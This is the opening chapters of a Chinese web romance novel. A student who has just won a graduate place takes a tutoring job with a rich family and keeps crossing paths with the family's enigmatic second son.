《情歌唱给月儿听》
1. 遇见
《情歌唱给月儿听》
兔格澜/晋江文学城独家发表
“亲爱的王小姐,今天是你23岁生日,土木工程的李绍同学为你点了一首《你是我最爱的女孩》,祝愿你永远快乐,永远青春……”
广播主持人用动人的嗓音念着表白投稿,但上了半天大课的学生充耳不闻,别人的浪漫爱情远不如食堂的烤肉拌饭有吸引力。
乔听月逆着人潮,拐进一条小路,主持人的声音渐渐远了。
乔听月踩着碎石路慢慢往前走,她鲜少这么清闲,晒着日光,听着广播,想睡个奢侈的午觉。阳光刺眼,她微微垂下头,脚下斑斓光影数到二十二,手机响了。
“月亮,恭喜你保研成功。”
听到熟悉的声音,乔听月扬起笑脸,清脆应道:“谢谢姐!等我回家给你做好吃的。”
“好,我买瓶好酒,为你庆功。”
乔听月眉心轻蹙,不赞同道:“医生说你不能喝酒,你要遵医嘱。今天晚上有雨,你千万别出门。”
“知道啦,小管家婆,”乔望曦叹气,“之后打算做什么?要不要出去旅游?”
“不要,实习结束我就办个走读,多陪陪你。”
察觉到姐姐沉默,乔听月只好拿出杀手锏,“姐姐——我就是想和姐姐在一起嘛,好不好好不好?”
隔着手机,乔望曦能想象到妹妹撒娇时的表情,她本就长了一张娃娃脸,小鹿似的眼睛水汪汪,如果在身边的话还会使上百试百灵的贴贴大法,甜到人心坎里。
她只能松口:“行,我给你收拾房间。”
乔听月心满意足,又嘱咐几句,依依不舍地挂断电话。走出小路,偶尔有行色匆匆的同学错身而过。
去往的方向是图书馆,她闭着眼睛都找得到。
在姐姐来电之前,乔听月心中的感慨大于喜悦,因为于她而言,保研是板上钉钉的事。
这种自信从何而来——
她为绩点拼过命。
回忆过去三年,她起早贪黑上课泡图书馆,别人不爱做的小组作业大包大揽,一拖几完美高分无一失手,院会校会社团留任两年,各类竞赛、考试能参加就报名,假期社会实践从不缺席,货真价实的六边形战士。
保研成功,她应得的。
现在或许当得一句苦尽甘来。
骤然清闲下来,乔听月不可避免地感到不自在。肩上的书包不再压死人,地球仿佛失去了引力,她觉得脚下发飘。
嗯?怎么会发飘?
尚未想清楚想清楚缘由,人已经有了倾斜的趋势。一秒之后,这条路上将会多出一个社死的伤心人。
“小心!”
预想中的疼痛没有到来,也不是没有,只是换了地方。
小臂火辣辣的疼,拉住她的人手劲很大,手指像是要嵌进她的骨头里。
随着这股力气重新站稳,乔听月抬头看她的救命恩人。
只一眼,她就确定,这人不是A大的学生。
甚至压根不是学生。
眼前的人身高优越,眉目疏朗,黑衬衫解开两粒扣子,露出颈间的黑色编织绳。事发突然,他动作很急,身体前倾,逆着光将她笼罩在阴影里,有种说不清的压迫感。
乔听月按住手臂,后退一步拉开距离,和他对视,“谢谢您,先生。”
真心实意的感谢,语气中还夹杂劫后余生的庆幸。
男人定定看她一眼,之后移开视线,“没事,下次别走神。”
说完,他转身离开。
不远处有个拿公文包的西装男在等他,姿态毕恭毕敬。
乔听月隐约嗅到了大佬的气息,是薄荷红茶味道。
她收回思绪,蹲下来查看害她摔跤的罪魁祸首,最终确定是一块松动的石砖。她费劲把石砖复位,满意地拍拍手,翻出湿纸巾清理指尖,附近没有垃圾桶,于是捏在手里继续前进。
走了几步,手机又响了。
“喂,罗老师!”乔听月加快脚步,逐渐变成小跑,“我马上就到了,已经看到文明楼了。”
乔听月跑到文明楼,再爬三层楼梯,脸不红气不喘。她拢好零乱的发丝,敲了敲门,听见带着笑音的“请进”,方才推门。
“罗老师。”
罗老师正在接待客人。
客人估计六十多岁,白发打理得一丝不苟,端着白釉茶杯正襟危坐,一看就是习惯发号施令的上位者,和这间普通的只剩下文化人气息的办公室格格不入。
罗老师指了指他对面的单人沙发,示意乔听月坐下,“小乔来得正好,刚就在说你呢。”
乔听月大大方方坐下,不见半点拘谨,“老师又有新课题了?还是您想着我,我一定好好学。”
乔听月是老师最喜欢的那种学生,精力足,有眼力,不怕说话,脑子活络一点就通,而且有股倔强劲,像花期不断的四时春,浇水就能活。
“你还没进课题组就让你干活,这不成我压榨你了嘛,”罗老师总让乔听月搬砖,现在不过是玩笑话,“有个小事,你最合适。”
乔听月一秒严肃:“老师您说。”
“不用这么紧张,”罗老师呷了一口茶,姿态轻松,证明他让乔听月干的确实不是重要的事,“这是我老同学,陆建业。”
——
半小时后,乔听月走出办公室,捏着文件脑子发懵。
真是瞌睡了有人递枕头,她正愁清闲没事做,老师便给她介绍了一份兼职,而且是钱多事少、放在招聘软件上必然被怀疑是诈骗的那种。
刚刚,罗老师只担任介绍人的角色,之后都是陆建业和乔听月在谈。
陆建业有个宝贝外孙,读高中后越发叛逆,为了终结他的叛逆期,陆建业给他请过七八个高级家教团队,无一例外全失败了。
总结之后,陆建业认为这些人年龄太大,和孙子代沟太深,想起老同学手底下都是年轻学生,而且个个出类拔萃,直接带着合同来了。
罗老师有心给快毕业的学生牵线,陆建业却嫌弃他们毕设繁重,恐怕分心太多,挑来选去只有乔听月这株还没栽种的独苗苗完美符合要求。
陆建业承诺的待遇很好,可这种含着金汤匙长大的少爷想必棘手得很,乔听月一时犹豫不决。
最后罗老师一锤定音:“小乔,你以后搞教育,各种各样的学生一视同仁,这次就当实践攒经验吧。”
乔听月闻弦知雅意。
陆建业是江城的龙头老大,不谈商业谈教育,陆氏集团每年给高校、研究所投资上百亿,国内外以陆氏基金会命名的希望学校四百所,江城唯一的贵族学校资源在他手心里。
接了这个活,只要结果不坏,都算结善缘。如此不可多得的机会,被她捡到了。
就这样,她签了合同,成为了陆家叛逆小少爷的生活老师,约定实习结束后正式上岗。
——
转眼实习期结束,分散到各地的学生陆续回校。
乔听月在本区三中实习,任初一二班的副班主任兼语文老师,陪新生度过了最难熬的军训期。学生对她依赖性很强,一听她要离开,顿时觉得天塌了,最爱黏着她的几个女生抱成一团哭哭啼啼,惹得她也跟着掉了眼泪。
少男少女心思细腻,瞒着她办了欢送会,每个人都写了信塞到她包里,最后还是因为午餐时间到了,不得不强颜欢笑与她挥别。
折腾一通,乔听月竟成了最后一个回学校的人。
“你可回来了,”齐珊珊接过乔听月的行李,随手放在墙角,“你保研的事咱还没庆祝,择日不如撞日,就今天晚上。”
李盈翻箱倒柜挑裙子,闻言从柜门后面露头,“打扮得漂亮点,齐大小姐说带咱俩见见世面,要拍照发朋友圈的。”
“你们说我是穿短裙还是长裙?我带的班全是男生,小小年纪偷看我裙底,我穿了一次就不敢穿了。”
齐珊珊同样一脸苦相,“你还记得我之前提过的男家长吧,早上给我发微信说要请我吃饭,我吓得赶紧拉黑了。”
“穿长裙吧,今天晚上降温。”
乔听月带的学生家长很省心,没什么可吐槽的,给了李盈建议后将话题拉回晚饭,“既然是给我庆祝,还是我做东吧。”
齐珊珊揽住乔听月的肩膀,变魔术似的从兜里抽出一张卡,“我爸给的,让我请你们吃饭,这可是老头子的任务。”
齐家经历过一次分家,财产缩水严重,如今在江城这支只能算小豪门,尽管如此,拿出来让女儿做人情的东西也不是普通货色。
卡片是纯黑底,不明显的暗纹绘成vip三个字母,行草占据卡面左侧二分之一,写的是“古湾”。
乔听月上手一摸,“这字不会是纯金的吧?”
“Bingo!”齐珊珊打了个响指,“你别看这卡一股浮夸味,实际环境很优雅,绝对出片。”
乔听月竖起大拇指,“替
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我谢谢叔叔,下次吃饭我请。”
齐珊珊点头,“行,不和你客气。”
收拾妥当,齐珊珊去开车,乔听月和李盈在门口等。
很快,伴随此起彼伏的惊呼,粉色牧马人停在两人面前,车窗降下来,齐珊珊对她们抛了个媚眼,口音古怪:“小妞,搭车不?”
李盈穿着小高跟有点碍事,乔听月先把她扶上去,之后坐进副驾驶。
齐珊珊开车像开过山车,她明明不晕车,第一次坐她的车依旧吐得昏天暗地,留下了极深的心理阴影。
李盈顺好裙摆,记不清自己第几次说这句话:“又要上表白墙了。”
乔听月附和:“最嚣张的一集。”
校区里限速,齐珊珊踩了油门也得慢吞吞地走,赚足了回头率,“本小姐也想低调,奈何实力不允许。”
“我看是你是审美不允许吧。”
“怎么说话呢,我这粉色小马帅呆了诶。”
乔听月靠着椅背,舒舒服服地闭上眼,“你们慢吵,我先昏一会儿。”
粉色小马一路飞驰,终于在四十分后驶入古湾停车场。
“月亮,醒一醒。”齐珊珊停好车,推了推副驾安然沉睡的少女。
乔听月觉轻,一碰就醒,睫毛抖了抖,迷蒙的小鹿眼噙着水光,惊惶不安,“几点了?我的图书馆预约要过期了!”
“噗嗤——”齐珊珊大笑,“月亮,你都保研了,不用去图书馆苦熬啦!”
“没办法,月亮太自律了,晚上回去怕不是还要夜跑一千米。”
乔听月呼出一口气,拍拍胸口,“吓死我了,最近带学生晨跑,作息改了,我明天早上去跑。”
齐珊珊哀嚎:“你做个人吧!不要逼我在这种地方打你啊!”
下了车,门童立刻迎上来,为她们引路。
古湾环境清幽典雅不失庄重,假山瀑布自上而下,空气中蔓延着植物与水雾的气息,漏窗框出深秋夜色,一步一景,亭台水榭皆点着柔黄的灯,影影绰绰,如入仙境。
穿过竹林道,红墙金瓦的宴会楼静静伫立在月色中,雕梁画栋,尽显奢华。
乔听月压下眼底的惊艳,任齐珊珊挽着走进大厅,服务生自然而然接替了门童的位置。
“三位小姐晚上好,欢迎光临古湾,请问有预约吗?”
齐珊珊把卡递给她,报了名字,核对信息之后,三人被请进四楼倚云台。
服务生送上菜单,厚厚一本,拿在手里坠得人手腕疼。
不比某些餐厅为了抬高逼格取一些不知所云的名称,古湾的菜单只有编号加真实配图,图后面附上食材和产地,不了解产地没关系,明白“高级”两个字就够了。
点完菜,服务生离开包厢,齐珊珊从手包里抽出便携打光板,“月亮,你帮我拿着,盈姐,你给我拍几张。”
李盈哼笑一声,“拍照的时候想起叫姐了。”
给齐珊珊拍完,李盈快速翻看删除表现不好的照片,百忙之中冲乔听月不甚明显地抬了抬下巴,“月亮你坐那,给我个背影,稍微偏头就行。”
齐珊珊接过打光板,按着乔听月坐下来,扯下她的头绳,将一侧头发压在耳后,露出精致的耳垂,“发质真好,羡慕死我了。”
李盈爱好摄影,天天求乔听月给她当模特,一百次有九十九次婉拒,好不容易同意一次还要限时。
“可算叫我逮住你了,今天我非拍个够本不可。”
“好好好,我一定奉陪到底。”
乔听月态度良好,李盈怎么说她怎么配合,有时李盈只能说出感觉,她便耐心地找角度,为她营造氛围。
齐珊珊是最佳气氛组,“太美了月亮,要不是知道月球上都是坑,我真以为你是广寒宫仙女来地球出差的!”
乔听月像个精致人偶,拍了一组后换了新发型,如瀑长发编成松散的麻花辫,柔软侧弯的腰肢不盈一握,手臂向上延伸,李盈追求意境,依旧只让她露出侧脸。
“月亮,看我。”
话音刚落,屋内瞬间落入漆黑,清泠月华洒下,亲吻少女的指尖,沉入她含情的眸中。
闪光灯亮起,门不合时宜地开了。
服务生本该报菜名,然而看见屋内之景,嘴巴动了动,大脑一片空白。
在她身后,一行人经过,为首的男人不经意望见那抹身影。
窥不得容颜,独见佳人神韵。
又见面了。
2. 搭讪
“完美!”李盈抱着手机在包厢里转圈,“月亮,你是我的缪斯!”
齐珊珊重新开了灯,让服务生上菜,“吃饭吃饭,让月亮歇一会。”
摆好菜,服务生退出去,乔听月盘腿坐下,捶了捶腰,仙女形象瞬间散得一干二净,“我的老腰啊,差点扭折了。”
李盈沉浸式欣赏她的作品,“太美了,我感觉我的精神已经饱了,灵魂得到了升华,我已经在nextlevel了,我有预感,我的账号要涨粉了!我可以涨价了!”
“行行行,”齐珊珊做完饭前开光仪式,给乔听月夹了块鱼肉,“咱俩吃,盈盈已经羽化登仙,不用进食了。”
“不要狗叫,对我尊重点,”李盈抢走鱼肉,“请叫我李·摄影大师·盈。”
乔听月恭敬地奉上果汁,“没人对你狗叫,摄影大师请喝茶。”
“善,”李盈端着架子,“赏精修照片一张。”
由于乔听月沉迷学习,三人聚餐的次数屈指可数,只有生日之类的重要日子,提前几天安排才能稳稳当当坐下来闲聊。
“上次和月亮吃饭还是在上次。”
“我要是有月亮这自制力,我也保研了。”
“盈盈,你记不记大一,有一回半夜,月亮突然从床上摔下来,我当时在看鬼片,魂都吓飞了。”
“记得记得,”李盈笑得猖狂,“你疯了一样往我被窝里钻,说寝室有鬼。”
乔听月默默扶额,这一段故事,每次吃饭她们都要讲一遍,乐此不疲,她再次澄清:“我不是从床上摔下来的,我是从洗手间回来,不小心。”
“你记错了,”齐珊珊矢口否认,“你当时发烧39度,一个劲说胡话,哪有我们记得清楚。”
乔听月争不过她们,举杯,“感谢二位救我狗命。”
三人坐在一起,除了八卦就是互挖黑历史,其中李盈的最多。她爱好摄影,见到帅哥美女就想给人拍照,惹了不少烂桃花。
话题转到这,齐珊珊的视线射向乔听月,“月亮,我记得你也有人追啊,怎么都没有后续?”
乔听月表情僵硬,很不想回忆这些乱七八糟的玩意,“你是说在宿舍楼下摆蜡烛表白被宿管赶走那个,还是在图书馆往我保温杯里加玫瑰花瓣那个?”
“我要是没记错,表白那个破大防,在表白墙造谣说我捞他钱,吃了个处分。图书馆那个被我抓个正着,我怀疑他下毒直接报警了。”
李盈杯里早换了低度酒,她酒量一般,此时已经微醺,“怎么都这么邪门,你不打算谈个校园恋爱吗?”
“不打算,”乔听月摇头,“我没时间谈恋爱。”
“我知道我知道,”齐珊珊小学生举手,压低嗓子模仿,“同学,今天中午可以一起吃饭吗?”
旋即正色,“你吃饭要多久?半个小时?不行,我吃饭时间只有十五分钟,你找别人吧。”
李盈加入模仿剧,“同学,你周六有时间吗?想不想去爬山?”
“活动主办方是谁?指导教师是谁?能加多少学分?一分以下我不参加的。”
乔听月哭笑不得,在室友的倾情模仿下,她终于意识到自己曾经有多么冷漠,伤了多少可怜人的心。
果汁过三巡,乔听月去洗手间。
路上,乔听月意识到古湾包厢的隔音效果做得很好,走廊里永远是静谧的,偶尔碰上有包厢开门,才能听到闹破天的声音。
从洗手间出来,乔听月低头洗手,接洗手液的时候,冷不防在镜子里看见她身后站了个男人。
那人又高又瘦,尖嘴猴腮十分不经看,脸喝得通红。乔听月不愿意和醉鬼纠缠,让了一步,谁知道她动他也动,像个背后灵。
乔听月皱眉,“先生,你有事吗?”
“没事没事,”男人走到她身边,抬手撑洗手池没撑住,滑了一下,他一点不觉得尴尬,酒气熏天,“美女,哪个包厢的?留个微信,哥请你喝两杯。”
李盈说的没错,她遇上的男人个顶个邪门。
乔听月懒得和醉鬼纠缠,冲掉手上的泡沫转身就走。
男人还敢伸手扯他,乔听月警惕心强,反手按住他的手腕向后压,男人后背砰的一声撞在墙上。
乔听月一米七二,男人穿着增高鞋都没到一米八,再加上喝多了站不直,还真被她镇压住,手臂横在脖颈处,喉结生疼。
“先生,请你自重。”
她学过几招防身术,力量差点,但是安排一个软趴趴的酒鬼绰绰有余,“你再动手动脚,我就要报警了。”
“你!”
乔听月甩开他,像甩开一滩烂泥,“上一个恶心我的,已经留案底了。”
说完,乔听月快步离开,没一会儿,又带着两个服务生回来。
“就是他骚扰我。”
“抱歉,让您受到危险是我们的失误,查实后一定给您满意的答复。”
乔听月点头,“麻烦你们了。”
回到包厢,一开门和齐珊珊撞了个满怀,乔听月架住她,“你悠着点,干什么去?”
“去找你啊,”齐珊珊也醉了,但语言逻辑还在,“你怎么去了这么久,我怕你出事,这地方一板砖砸死十个人,九个是咱得罪不起的。”
那还真是不好意思了,她刚刚正义逮捕了一个少爷。
乔听月简单讲了洗手间的事,齐珊珊拍案而起,“谁敢碰你,老娘剁了他的蹄子!”
李盈把餐刀递给她,自己握着叉子,“走,给月亮出气!”
乔听月一手拦一个,“我找过服务生了,人家说给解决,用不上您老人家出手。”
古湾效率很高,不到十分钟,服务生来汇报处理结果。
“我们查了监控,证明您说的属实,您自卫及时没有受伤真是太好了。为了表达我们的歉意,这顿饭为您免单,并且赠送三张用餐券,没有使用期限,骚扰您的人我们将拉进黑名单,禁止他入内,这个处理结果您满意吗?”
乔听月没想到他们处理得这么快,没有推卸责任,没有和稀泥。齐珊珊说过,古湾的客户群体很窄,小小的一张vip卡相当于门票,在这里能实现阶级跨越,也能因为某个人淡淡一句话堕入深渊。
禁止那个人再入内,对他打击很大。
齐珊珊惊得酒醒了一半,“这么狠?那人哪家的?”
服务生微笑,“是王家三少爷,今天来谈生意。”
“这还谈什么生意,赶紧回家跟他爹磕头赔罪吧,”齐珊珊小声嘟囔,“这件事谁处理的?”
“是我们老板,”服务生笑容更加热情,“他最痛恨这种事了。”
服务生离开,齐珊珊还懵着,半晌,她牵起乔听月的手,“乖乖,我还怕你被人报复,这下一劳永逸了。”
乔听月捏着用餐券,右下角签字区写了她的名字,依旧是狂草,龙飞凤舞,放荡不羁。
“什么意思?”
“王三这人混不吝,可经商天赋高,他爸捏着鼻子给他擦屁股,这回想保也保不住了。”
李盈好奇道:“是因为那个生意?”
“这算什么,刚才服务生说了,他们老板亲自敲定处理结果,这位说的话可是风向标,王三算是废了。人人都想踩他一脚,他自身难保,没工夫找月亮麻烦了。”
李盈对豪门八卦兴趣浓厚,追问道:“这么厉害?他不怕那人狗急跳墙?”
“古湾姓陆,”齐珊珊伸出两根手指,“玩浑的,谁也玩不过陆二少。”
LU?哪个LU?
乔听月默不作声,若是陆,她说不定有机会当面感谢这位陆二少。
齐珊珊忽然打了个冷战,“不对劲,我们得赶紧走,我直觉有大事要发生。”
乔听月和李盈没有异议,收拾收拾准备结账,想起陆二少给她们免了单,齐珊珊更加坐不住了。
她信誓旦旦道:“天下没有免费的晚餐,尤其是陆家的饭。明天我跟我爸知会一声,咱先溜了。”
乔听月不明白她为什么这么慌乱,陆二少听起来不是善茬,做事还挺温柔的。
乔听月没喝酒,回去只能她开车,三思后恳切建议:“我拿票
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是为了加学分,只碰过驾校的破车,要不还是找个代驾吧。”
齐珊珊挂在她身上,努力走直线,“我的粉色小马怎么能让陌生人开!你不要怕,油门踩到底,咱们就到家了。”
乔听月叹气,“油门踩到底,咱就上天堂了。”
李盈迷迷糊糊:“好女孩是要上天堂的。”
乔听月:“……”
她刚保研,她不想上天堂。
-
古湾四楼。
赵才没等来合作伙伴,反而等来了他被赶出去的消息,顿时如雷轰顶。他问清楚前因后果,腾地站起来,大步流星往外走。
王三得罪了陆忱,要是牵连到他就不美了。
他知道陆忱有专属的包厢,没写门牌的就是,他站在包厢外,满头是汗,谨慎地敲了敲门,没人搭理他。
正要再敲,身后有人叫他。
“赵才?你还没走啊?”
赵才看清楚来人,开始诉苦:“王三这事可害死我了。武哥,你带我进去,我跟陆少道个歉就走。”
偏也巧了,王三骚扰乔听月的时候,武睿正打算去放水,本想来个英雄救美,谁知道美人是个练家子,一招制敌,小脸看着软包子似的,下手可狠,他愣神的时间事就摆平了。
“这事跟你没关系,以后眼睛擦亮点,忱哥不是不讲理的人,进去喝一杯。”
武睿带赵才进屋,往窗边走,“忱哥看什么呢,眼珠都不错一下。说也巧了,在走廊碰上赵公子,请他进来喝点。”
听到赵才的名,陆忱收回视线。
他半个身子掩在月色中,白色T恤袖子提到小臂,夹克随手搭在沙发扶手上,手里握着可乐罐。
陆忱私下场合最中意休闲打扮,见人三分笑,看起来特好说话。但要真信了他这幅皮相,那就等着吃亏吧,这位有多不好惹,说上三天三夜也说不完。
“忱哥。”赵才喊得心甘情愿。
伸手不打笑脸人,陆忱从不搞迁怒,举了举可乐,“放开玩,听说王三想要城北那块地?”
赵才暗自咂舌,陆忱的消息太灵通了,江城在他眼里几乎没有秘密。他忙拿起桌上的酒杯,小半杯伏特加一口干了,“是,已经十拿九稳了。”
陆忱勾了勾唇角,不置可否。
赵才有种预感,王家这次是竹篮打水一场空了。
有武睿在不至于冷场,说了点生意上的事,赵才提出告辞。不是他不想和陆忱套近乎,陆忱待人挺客气,说几句就举可乐,然而他手边只有伏特加,几杯下去铁打的胃也顶不住。
武睿热情地送了赵才,回来后背对着包厢里的人,张开手,“忱哥,王三为了这块地跑了小半年,花了这个数。”
“这点就想买地?”陆忱说话轻飘飘,“江城物价什么时候降的,没人通知我啊。”
这时服务生悄悄走到陆忱身边,把手里的东西递给他,“老板,那位小姐把用餐券留下了。”
陆忱接过来,神色莫测,“就放在桌子上?”
“是的老板。”
“没说要见我?”
“没有老板。”
陆忱没再问,挥手让她出去。
“商场得意情场失意,”武睿巴巴凑上来,“冲冠一怒为红颜,小美女没领情,你这算不算被拒绝了?”
陆忱瞥他一眼,“人在我这受了惊吓,又不知道我是谁,提防我很合理。”
“太合理了!”武睿捧场,“可惜,人家没收。你把联系方式写上,故事不就展开了,你非在这装矜持,这样吧,你那副仕女抚琴图我折价收了,我给你传授爱情秘籍。”
“折价?你倒是懂趁火打劫。”陆忱手指哒哒点着窗棂。
瞧出他心烦,武睿故意显摆和女朋友的合照,在陆忱毒舌前悠哉哉走了。
陆忱低声笑骂一句“有病”,划开手机看监控视频,少女压制着醉鬼,小脸上写满了厌恶,放狠话的时候气势凌厉,真让人移不开眼。
头回搭讪没经验,确实应该把手机号、微信号、邮箱账号都写上。
3. 上岗
“爸,我真不认识陆忱,他昨天估计是心情不好,他要整治谁还不是顺手的事嘛。”
乔听月晨跑回来,听见齐珊珊提到陆忱,当即用手机搜陆氏集团网址,果然在陆建业名字下面看见了“陆忱”二字。
对上了,她和陆家还真是有缘分。
齐珊珊看见乔听月带了早餐,果断抛弃老爹挂断电话。
她大口啃包子,“月亮,我爱死你了,没有你我可怎么办。”
“吃你的吧,陆忱是个什么样的人?”
两句话衔接很密,转变非常生硬,偏问话的人语气平淡,没有半分不自然,好像仅仅是闲聊。
“大少爷呗。”齐珊珊随口回答。
片刻,她啃包子的动作一顿,突然抬头和乔听月对视,警惕道:“你不对劲,你打听他干什么?”
乔听月眨眨眼,神色坦然。
齐珊珊表情严肃,“我爸说宁可和陆建业硬碰硬,也不能得罪陆忱。”
乔听月见过陆建业,积威深重,但不会用气势压人,面对晚辈很温和,言语间不存在说教,循循善诱,引导人顺着他的思路思考,符合她对成功人士的刻板印象。
如果陆忱是陆建业的反义词,“他很凶吗?”
齐珊珊摇头,“不好说,我在宴会上见过他两次,第一次他帮服务生解围,第二次他把人牙打掉了,那场面乱的,五六个人都拉不住。
“之前大家说他真性情,近两年说他笑面虎,前后差距挺大的。宁可信其有嘛,等闲得罪不起。”
“我明白了。”乔听月一副受教的模样。
“你明白就好,不是,你明白什么了,”齐珊珊嘴巴像连珠炮,“你还没说你为什么打听他呢,你可千万别被他那点小恩小惠骗了!”
乔听月知道无功不受禄的道理。那三张用餐券远远超出古湾的服务范围,出自陆忱的私人意愿,她没有接受,就是在隐晦表达拒绝。
她们昨天能顺利离开,证明陆忱充分理解她的意思,并且选择尊重。同样证明陆忱绝对不是被驳了面子就发癫找场子的荒唐人。
乔听月相信自己的判断,也明白齐珊珊关心她,便把兼职的事和盘托出。
解释完,齐珊珊石化,半晌找回声音:“你胆子也太大了。”
乔听月很淡定,拿了个包子递到齐珊珊嘴边,“我是去带孩子的,和陆忱没关系,别担心。”
齐珊珊狠狠咬了一口,边嚼边念叨:“也是,我最后给你一个忠告。”
乔听月歪头,“洗耳恭听。”
“千万不要被陆忱那张脸皮迷惑了。”
齐珊珊捧起乔听月的脸,一字一顿:“他、真、的、很、好、看。”
——
确定室友宿醉后除了头疼没有其他不良反应,乔听月放心办了退宿手续,收拾行李回家。坐地铁穿梭大半个江城用了将近两小时,到家时,天已经彻底黑了。
“姐姐!我回来啦!”
很快,卧室传来一阵声响,人未到声先至:“怎么不提前说,就知道吓唬人。”
乔听月把行李和水果放在玄关,快步往卧室走,房门打开,她低头,“惊不惊喜!”
乔望曦抬手捏了捏妹妹的脸,眉眼弯弯,“惊喜,快去换衣服,我给你做饭。”
“不用麻烦,我一会下碗面就行,”乔听月见她腿上空空,皱了皱眉,进屋拿毯子,“天越来越冷了,我不在家你就是这么照顾自己的?”
“着急出来,一时忘了。”
乔望曦接过毯子盖在腿上,慢条斯理掖好边角。
乔听月没说话,推动轮椅去厨房,“下周我们再去一趟医院吧。”
乔望曦摇头,“每次都是那些话,我早听烦了,现在就挺好,不用走路还省劲呢。”
在乔望曦看不见的背后,乔听月用力抿着唇,原本嫣红的唇瓣因为用力挤压泛起青白。
乔望曦不是天生不良于行。
乔家原本是普通小康家庭,有房有车有存款。乔家夫妇都是老师,一双女儿相差四岁,姐姐柔顺安静妹妹调皮机灵,是公认的幸福模范家庭。
任谁也想不到,夫妻恩爱是假象,他们三观理想不同,早就貌合神离,只是为了孩子才勉强维持婚姻。
乔听月拿到A大录取通知书那天,乔父乔母自认任务结束,和两个女儿开诚布公,细数多年不易,已然心力交瘁,决定离婚。
姐妹俩俱是神情恍惚,甚至怀疑眼前的人根本不是自己的父母。但是父母要离婚,不容女儿置喙,一句“要不是为了你们”压下来,姐妹俩再开不了口。
乔听月接受不了,把自己关进房间不出来,乔望曦沉默,直到父母准备出门,她才跟了出去。
去民政局路上,一辆货车侧翻,造成连环车祸,乔家三人就在其中,父母当场死亡,乔母死死护着女儿,用一双腿作代价换回了一条命。
都说天灾人祸,乔听月却不知该怪谁。一连收了三张病危通知书,她浑浑噩噩地想,如果她也在车上就好了。
乔望曦清醒之后知道自己恢复几率不大,大哭一场就接受了,办出院,领保险金和赔偿金,为父母操办丧事,卖了老房子换成带电梯的精装房,准备妹妹上学的东西。
一切都在正常运转,如果乔听月不曾听见乔望曦在夜里压抑啜泣的话。
从那之后,乔听月就开始带姐姐四处寻医,为此争吵过无数次,天一亮,姐妹俩又默契地绝口不提。看了数十位医生,结果都是不乐观,只让患者保持积极心态配合治疗,紧接着就是一大堆检查、针剂药品,没效果是常态。
逐渐,姐妹俩互相妥协。乔听月还是经常提出去医院,乔望曦否决之后就算了,但到了复诊的日子,乔望曦会主动联系乔听月,姐妹一起听审判。
“吃什么面?青菜面还是鸡蛋面?”
姐姐的声音唤回乔听月的思绪,她反应了一会,“鸡蛋面吧,我自己弄,你吃吗?”
“不吃,我晚上吃的水煮西蓝花和玉米,最近感觉胖了。”
“我瞧瞧,”乔听月弯腰,脸对脸,对眼儿了才直起身,“我看你一点没变,你看看我,脸是不是又圆了。”
“你胖脸不胖腰,小脸也就巴掌大,我和你可比不了。”乔望曦掐住乔听月的腰挠痒痒,乔听月笑出眼泪才罢休。
吃了饭,姐妹俩久违一起洗澡。
面对面泡在浴缸里,乔听月往姐姐身上扬水,提起兼职和陆家,分析了利害之后,等姐姐发话。
乔听月敢拼敢做,乔望曦自认不如她,“这样很好,我还怕你在家无聊呢。对那孩子耐心点,姐姐相信你能做到。”
“我当然能做到,”乔听月往下躺,整个人浸在水里,只露出光洁的小脸,眼底闪着自信的光,“就没有我搞不定的小魔王。”
——
陆建业是真心为孙子着急上火,乔听月前一秒说可以上岗,下一秒手机号和家庭住址就发了过来,还非常时髦地配了一个表情包。
乔听月看着屏幕上的西装猫猫头,脑子里陆建业刚正严肃的面孔无限闪回,她表情绷不住裂开,随后心中的紧张被抚平了。
【月亮】:好的陆先生,我明天会准时到达。
【陆先生】:好,如果小信不给你开门,就多按几次门铃。打电话没用,他不接陌生电话。
【月亮】:好的,您放心吧。
聊天结束,乔听月枕着手臂躺在床上,在脑中预演明天见了祝承信该怎么打招呼,想着想着,枕着熟悉的洗衣液味道沉入梦乡。
翌日闹钟没响,乔听月却醒了,被梦吓醒的。
梦里,祝承信把头发染成了绿的,叼着烟,袖子撸到肩膀露出图腾文
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身,抖着腿睇视她,她自我介绍到一半,他忽然暴起,操起椅子砸她。之后就是豪宅躲猫猫,祝承信像恐怖游戏里的斧头屠夫,椅子拖在地板上发出刺耳的声音,她躲在衣柜里,顺着门缝看见了一只瞳孔很小的眼睛。
值得一提的是,那眼珠子也是绿的,叛逆少年戴了美瞳。
乔听月呆坐在床上,抹了把脸,憋不住笑出声。
这到底是是叛逆少年还是精神小伙啊。
也不能怪乔听月想象力丰富,毕竟在她印象里,最叛逆的莫过于聚众蹲在初中校门口的那群小年轻。
姐妹俩起床时间相差无几,从卧室出来撞了个对脸,面面相觑片刻,乔听月指着乔望曦的脸,“姐,你脸上压出个小熊,真可爱。”
乔望曦立刻反击:“你还是先看看你的扣子吧。”
乔听月体热,睡觉只穿吊带,起床才披上睡衣,低头检查,扣子扣错两个,笑脸图案错位,稍显滑稽。
吃了早饭,乔听月推乔望曦出去晒太阳,走到花坛旁边,一只小橘猫从树丛钻出来,喵喵叫讨食吃。
乔听月蹲下来,橘猫不怕人,夹着嗓子往她腿上贴,“小猫还挺干净的。”
乔望曦拿出猫粮,“不知道哪来的流浪猫,喂过两次就记住我了。”
小猫吃饱就跑了,乔听月笑道:“小没良心,姐,要不咱也养只猫呢?”
“猫爱掉毛,我懒得收拾,”乔望曦留了点猫粮在花坛边,“回家吧,感觉快起风了。”
上午时间过得快,乔听月不想给主顾留下不守时的坏印象,于是早早出发。
祝承信住在丽江府,江城一线江景别墅,寸土寸金的地界,据说住在这里的人随便跺跺脚,江城就要抖三抖。
陆建业差人提前打过招呼,乔听月一下出租车,便被丽江府的管家请进了服务厅,亲自为她做了登记,录好指纹和面部信息,又开车送她到陆家。
下车后,乔听月在庭院门前站定,找到门铃按下去。
几乎是瞬间接通,少年音混着游戏BGM一起传出来,“进来沿路一直走,放下外卖别停留。”
通话断掉,庭院门自动弹开。
乔听月疑惑,乔听月不理解,乔听月难以相信。
安保意识呢?就着外卖一起吃了?
迈进大门,乔听月知道自己多虑了,摄像头和保镖紧紧盯着她,她若真想搞事,下场可想而知。
循着路来到入户门,乔听月再次按门铃,她时刻记得陆建业的嘱托,一次不行就多按几次。
按了七次,终于来人开门,门开的瞬间带起一股躁动的气流。
下一秒,她脸上的笑僵住了。
这世界过于梦幻,否则她的救命恩人怎么会在陆家,还给她开门?!
初遇那天他西装革履,矜贵优雅高不可攀,而此时他睡眼惺忪,发丝凌乱,睡袍简单抿着,露出胸前的无事牌,看她的时候眼底略带审视,略一挑眉,显出几分玩世不恭。
